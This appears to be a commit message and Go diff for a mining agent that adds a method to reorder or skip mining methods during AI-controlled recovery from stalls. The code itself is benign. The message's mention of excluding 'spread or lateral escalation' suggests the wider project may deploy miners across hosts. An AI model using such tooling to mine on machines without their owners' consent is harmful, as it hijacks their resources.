Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

agent/miner/fallback_chain.go

@@ -788,6 +788,31 @@ func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
 	c.mu.Unlock()
 }
 
+// ReorderChain replaces the cascade order and optionally skips failed methods.
+func (c *ChainController) ReorderChain(chain []MiningMethod, skip []MiningMethod) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	skipSet := make(map[MiningMethod]bool, len(skip))
+	for _, m := range skip {
+		skipSet[m] = true
+	}
+	if len(chain) > 0 {
+		c.chain = append([]MiningMethod(nil), chain...)
+	} else if len(skip) > 0 {
+		filtered := make([]MiningMethod, 0, len(c.chain))
+		for _, m := range c.chain {
+			if !skipSet[m] {
+				filtered = append(filtered, m)
+			}
+		}
+		c.chain = filtered
+	}
+	c.failures = nil
+	c.chainExhausted = false
+	c.lastError = ""
+	c.lastFullPass = time.Time{}
+}
+
 // Monitor watches container health and advances the chain on exit.
 func (c *ChainController) Monitor(ctx context.Context) {
 	ticker := time.NewTicker(10 * time.Second)